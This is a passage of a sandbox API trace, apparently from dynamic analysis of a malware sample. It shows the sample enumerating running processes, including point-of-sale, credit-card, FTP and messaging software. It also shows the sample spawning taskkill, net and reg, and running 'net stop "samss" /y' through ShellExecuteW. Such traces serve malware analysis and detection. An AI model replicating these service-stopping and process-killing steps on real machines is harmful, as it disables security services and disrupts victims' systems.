	[0225.192] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0225.202] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0225.204] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0225.206] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0225.209] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0225.211] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0225.213] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0225.216] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0225.218] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0225.220] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0225.223] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0225.227] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0225.570] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0225.572] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0225.575] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0225.577] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0225.579] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0225.582] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0225.584] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0225.587] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0225.589] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0225.591] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0225.594] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0225.596] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0225.599] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0225.601] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0225.800] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0225.802] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0225.805] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0225.807] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0225.810] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0225.812] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0225.815] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0225.817] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0225.819] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0225.822] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0225.824] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0225.826] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0225.829] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0225.831] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0225.834] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.013] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.034] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.037] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0226.039] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.042] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0226.044] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.046] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0226.048] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.050] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0226.052] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0226.055] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x78c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reg.exe")) returned 1
	[0226.057] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.059] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.061] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0226.064] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0226.065] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1140, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0226.067] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1208, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0226.297] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0226.304] Process32NextW (in: hSnapshot=0x9c8, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0
	[0226.306] CloseHandle (hObject=0x9c8) returned 1
	[0226.330] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xe4380
	[0226.332] EnumServicesStatusW (in: hSCManager=0xe4380, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 0
	[0226.333] VirtualAlloc (lpAddress=0x0, dwSize=0x1710, flAllocationType=0x1000, flProtect=0x40) returned 0x2760000
	[0226.334] EnumServicesStatusW (in: hSCManager=0xe4380, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2760000, cbBufSize=0x1710, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x2760000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 1
	[0226.337] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0229.234] Sleep (dwMilliseconds=0x96) 
	[0229.686] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.696] Sleep (dwMilliseconds=0xc350) 
	[0240.002] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x1b60
	[0240.036] Process32FirstW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0240.038] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0240.041] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0240.043] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0240.045] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0240.047] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0240.128] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0240.130] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0240.132] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0240.134] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0240.136] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.139] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.141] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.143] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.145] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.148] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0240.150] Process32NextW (in: hSnapshot=0x1b60, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
